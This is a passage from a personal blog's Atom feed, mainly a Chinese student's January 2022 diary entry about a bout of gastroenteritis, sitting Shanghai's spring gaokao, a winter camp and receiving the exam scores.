&lt;p&gt;好在这几天终于考完了高考，可以暂时轻松一段时间了。关于近况之后会再开一篇又臭又长的文章好好讲讲，这里先不赘述了。&lt;/p&gt;
&lt;p&gt;言归正传，考完试后，我就开始物色人生中第一台属于自己的笔记本了。经过一番精挑细选，最终选择了 ThinkBook 14+ 2022 i5 独显版，这篇文章就来开个箱以及记录一下使用感受。&lt;/p&gt;</summary>
    
    
    
    <category term="杂文" scheme="https://blog.hans362.cn/categories/%E6%9D%82%E6%96%87/"/>
    
    
    <category term="测评" scheme="https://blog.hans362.cn/tags/%E6%B5%8B%E8%AF%84/"/>
    
    <category term="评测" scheme="https://blog.hans362.cn/tags/%E8%AF%84%E6%B5%8B/"/>
    
    <category term="笔记本" scheme="https://blog.hans362.cn/tags/%E7%AC%94%E8%AE%B0%E6%9C%AC/"/>
    
    <category term="ThinkBook" scheme="https://blog.hans362.cn/tags/ThinkBook/"/>
    
  </entry>
  
  <entry>
    <title>周记#24 - 一月、春季高考、寒假</title>
    <link href="https://blog.hans362.cn/post/weekly-24/"/>
    <id>https://blog.hans362.cn/post/weekly-24/</id>
    <published>2022-01-28T07:26:35.000Z</published>
    <updated>2025-12-31T14:36:17.828Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>猛然发现上一篇“周记”竟然是183天前写的，再不更新就要成“年记”了。因为高三了平时也确实没时间写东西，整个高三上学期就发了几篇 OI 游记还有一篇年终总结。正好最近放假稍微轻松一点了，就来写写2022年的第一个月发生的事吧。</p><p>（话说一直想给这个系列换个名字，一周一记是绝对不可能滴，那么该叫什么好呢🤔）</p><span id="more"></span><h2 id="急性肠胃炎"><a class="markdownIt-Anchor" href="#急性肠胃炎"></a> 急性肠胃炎</h2><p>万万没想到2022年刚开始就碰上这种事情，而且还是在春季高考前3天。</p><p>1月5号大概上午第四节课下课突然胃疼，起初疼得还不算厉害，以为只是饿了也没在意，想着再熬一节课去吃个饭应该就好了。正好第五节是化学课，我不选化学就去自习室刷英语题。谁知道开始疼得越来越厉害，直冒冷汗的那种。我感觉笔都拿不动了，题目也做不进去，索性趴在桌子上休息了一会儿。</p><p>下课忍着痛去食堂，食堂里人山人海，而我已经疼得站都站不稳了。在人最少的窗口买了份饺子，结果发现疼得完全吃不下去，吃了两个就回教室了。想到下午全是英语课就在纠结要不要请假回家，最后疼得不得了于是向班主任请了假。到家吃了铝碳酸镁片，想着睡一觉应该就好了。然而并没有用，醒来依然疼得离谱。最后顶不住了决定晚上去医院看急诊。</p><p>原以为到了急诊就能看上，结果六院急诊内科人真的多，还得等两个小时。我已经疼到绝望，整个人蜷缩在座位上又坚持了两个小时。晚上八点好不容易排到我了，医生开了血常规和淀粉酶化验，然后去抽血。报告出来一看白细胞↑，C反应蛋白↑，确诊急性肠胃炎。医生知道我过两天要春季高考直接让我去输液，开了头孢和止痛药，四袋输完疼痛总算稍微减轻了一点。因为后面两天还要去医院输液，我就都请假在家休息了。班主任非常好心地帮我在钉钉上开了个直播，我在家里就能跟着把课补上，很感动。</p><p>总之因为治疗及时最后没有影响到春季高考，输了三天液又活蹦乱跳了。仔细回忆了一下好像这段时间也没有乱吃什么东西，不知道为何突然弄出了肠胃炎。</p><h2 id="春季高考"><a class="markdownIt-Anchor" href="#春季高考"></a> 春季高考</h2><p>1月8日-1月10日参加了2022年的上海市春季高考。</p><p>上海高考有春秋季两次。春考招生的院校和专业相较于秋考要差很多，所以除非高二等级考暴毙否则基本上不会选择春考走掉。多数考生参加春考是冲着英语去的，因为英语高考成绩是在春考和秋考中取高分，而春考英语的试题难度和主观题部分的批改严格程度一般比秋考英语低，所以如果春考英语能够取得好成绩的话下半学期就可以放掉英语，专攻其他科目。当然这并不意味着语文、数学可以乱考，因为春考同时也代替语文、数学、英语的合格考，不及格的话高中就毕不了业了。</p><h3 id="day-1"><a class="markdownIt-Anchor" href="#day-1"></a> Day 1</h3><p>上午考语文，照例在自己学校考试。尽管是新教材的第一届，语文试卷结构没有发生变化，对于整本书阅读的考察与考试手册上的样卷一致，作文依旧具有上海特色的思辨性。默写、积累运用、现代文一、文言难度都不高，唯独现代文二暴杀我，文章里每个字、每件事都看得懂，但是组合起来不知道作者想表达什么主题，后面的题目是真不好做，写满就是胜利。因为现代文二卡太久了，作文险些来不及写，确实思路也没打开，写得浅了一些。</p><p>下午考数学，又是脑子掉线的下午。填空11解析几何做不来，5分再见。填空12我都把那个函数的图像画出来了，周期性和对称性也都发现了，愣是没看出那个极限就是两条渐近线之间的距离，5分再见。没想到的是应用题竟然暴杀我，因为设角设得不当导致最后解析式写出来了，最值求不来。卡了好久最后用正切和正割做的终于求出最值了，答案是对的就是不知道批卷老师会不会扣过程分。解析几何大题差点把第一问的条件代入第二问，幸亏后来发现了。第三问也是想了很久，因为参数方程平时用得少，最后想到参数方程了并且做出来了。最后一题最后一问没时间了，随便写了两笔就收卷了，8分再见。</p><p>晚上回家还是忍不住好奇想对答案，于是上了知乎。事实证明别在网上乱对答案挑战自己的心态，知乎上的答案真的是五花八门，各种错误答案都有，居然还有人问一道证明题算出来结果是多少，就离谱。想着反正英语才是重头戏，也没有啥心理负担，继续看了看英语作文，练了一篇听力保持手感，准备调试好收音机和耳机。</p><h3 id="day-2"><a class="markdownIt-Anchor" href="#day-2"></a> Day 2</h3><p>早上考英语笔试部分（140分），因为有听力提前了半小时进场。我为了保险带了两台 PL-380，到座位后调好收音机频率和音量。我惊讶地发现 FM 89.9 MHz 长三角之声从未如此清晰，试运转时的电流声和底噪都没了。</p><p>到点了开始放听力，播音员口音非常标准，语速也很合适，没有18年的戏精男和19年的口齿不清男，整套听力做下来就是爽+简单，做完听力顿时信心倍增。</p><p>语法填空也很简单，就是第二个空竟然一下子卡住了，大致是说 Aurora 这个名字来源于啥啥啥，我竟然连 come from 都忘了，一直想不到那个介词 from，最后填了 after（因为想到 name after），痛失1分。</p><p>十一选十、Cloze 还是很简单，全文逻辑清晰，没有任何一空是让人纠结的，都是看一眼就出答案的那种。</p><p>阅读理解A、B、C篇也都很简单，除了A篇的一道题之外均无任何争议的余地。A篇那道题个人认为命题不当，大家都在B、C中纠结，我倾向于选择B选项。当然考试院自从一次事故之后就不公开高考试题和官方答案了，所以正确答案就只有出卷人知道了。文章和题目在下面，感兴趣可以做一做。</p><blockquote><p><img src="https://hans362-img.oss.0vv0.top/2022/01/28/67436736.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/01/28/67436736.jpg?width=1920" srcset="/loading.gif" alt=""><br>Question: What can be inferred from the dialogue between Jenny and Oliver?<br>A. …<br>B. Oliver would rather spend the money on survival.<br>C. It was difficult for the couple to make any decision.<br>D. …</p></blockquote><p>六选四依旧秒杀。主观题部分概要写作文章思路也很清晰，难度不大。</p><p>翻译看到那个 sow 就知道要死一片人了。出题人还用心险恶地在句中加了“昨天”这个时间状语，让你根本逃不过去使用 sow 的过去式，于是肯定有很多人写了 sew。认真看过考试院发布的词汇手册的同学应该清楚过去式是 sowed。“落寞已久”写了 long-gloomy，不知道算不算对。</p><p>作文依旧是书信类，感觉自己写得中规中矩吧，内容上就平平无奇了，能用的词汇句式也都用上去了。最后险些写不下结尾，一行里挤了两行，希望没事。</p><p>今年的春考英语卷子客观题部分简单得有些不像话，这样的话根本拉不开差距，人均135+还有什么意义。</p><h3 id="day-3"><a class="markdownIt-Anchor" href="#day-3"></a> Day 3</h3><p>最后一天上午考口语（人机对话，人工批改），我是排在上午第三场。由于前面两场出现了技术故障（再次感叹我校机房电脑真的不行），在等候室里多等了十几分钟。一个机房里两套题，保证每个考生的前后左右的试题和他的不一样。我抽到的那套题比较简单，提问、看图说话、快速应答都很常规。就是最后的开放性问题有点扎心，问的是 Do you think you are a sociable person? Why or why not? 社恐表示很淦。因为自己确实不是那么 sociable，干脆实话实说了，顺便列举了几个自己平时社恐的例子加以佐证，说个五六句就差不多了。</p><h2 id="愉快的团建"><a class="markdownIt-Anchor" href="#愉快的团建"></a> 愉快的团建</h2><p>考完试趁着还没出成绩和同学出去玩了半天。第一次玩了剧本杀，开了个微恐的7人本。结果挺吓人的啊，每次一关灯我们7个男的就往后躲缩在角落里瑟瑟发抖。总的来说还是玩得挺爽的，非常烧脑，演绎也很棒。另外竟然还有售后服务，大晚上的差点没把我吓着。</p><h2 id="p大寒假营"><a class="markdownIt-Anchor" href="#p大寒假营"></a> P大寒假营</h2><p>12月份的时候报名了P大的寒假营，本来觉得过不了初审的，结果竟然过了？！然后因为疫情寒假营是线上举办，最重要的是第一天的综合测试。P大直接用 HSK 考试客户端改了个寒假营考试客户端。离谱的是选考科目竟然只能选物理/化学/政治/历史四选二，对于我这种物地生选手简直没得选，只好选了物理+化学。</p><p>作为上海考生考下来的感受是除了语文还行、英语秒杀之外是真的难。数学20题就做出了8题，物理那简直就跟没学过一样，和化学没区别。上海高中物理真的是全世界最简单的物理，啥重要啥不学，做一下全国的物理瞬间就暴毙。化学么反正我也没学过等级考课程，全是蒙的，最后无聊到在那背第一页的元素周期表（不能提前交卷）。总之就当体验一下了，优秀营员是不可能了。第二天就是听听教授们的讲座，然后可以线上参观P大校园。</p><h2 id="春考查分"><a class="markdownIt-Anchor" href="#春考查分"></a> 春考查分</h2><p>随着这个日子一天天接近，真的是越来越紧张，甚至觉都睡不好。查分前一天偶然发现“随申办”小程序里已经做好查分页面了，忐忑地输入信息点击查询结果啥都没查到。查分当天上午循环播放《好运来》（当代高中生迷信行为），本来说是下午两点出分，中午12点多的时候我随手打开“随申办”小程序，原本以为会和之前一样还是啥都没有，结果竟然分数一下子就跳出来了，给我整傻了，还没来得及紧张就直接查到分了。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/01/28/11497544.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/01/28/11497544.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>语文数学就不说了，全面爆炸，全部献祭给了英语。原本看到英语141还挺高兴的，毕竟实现了2022年的第一个愿望。结果问了一圈发现人均140+，全年级140+有将近60人，也就是说我的英语成绩排名从平时的年级前10名一下子掉到30-40名，顿时就高兴不起来了。但是要说差吧，年级最高分也才145，可见这个分数段有多紧，根本拉不开。</p><p>虽然觉得有点不甘心最后还是决定放掉英语，毕竟语文和数学秋考要是还考成这样就没学上了。所以现在高考成绩已经拿到了281分，下一个目标：物理等级考A/A+，继续加油。</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>总体而言这一个月非常充实，也算是走好了高考的第二步，英语一考上岸了。</p><p>后面一段时间就是上课+写作业，不过相比于上学要轻松多了。再努力几个月，希望能考到理想的大学。下一篇“周记”大概要5个月后了，<s>咕咕咕咕咕</s>。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;猛然发现上一篇“周记”竟然是183天前写的，再不更新就要成“年记”了。因为高三了平时也确实没时间写东西，整个高三上学期就发了几篇 OI 游记还有一篇年终总结。正好最近放假稍微轻松一点了，就来写写2022年的第一个月发生的事吧。&lt;/p&gt;
&lt;p&gt;（话说一直想给这个系列换个名字，一周一记是绝对不可能滴，那么该叫什么好呢🤔）&lt;/p&gt;</summary>
    
    
    
    <category term="周记" scheme="https://blog.hans362.cn/categories/%E5%91%A8%E8%AE%B0/"/>
    
    
  </entry>
  
</feed>
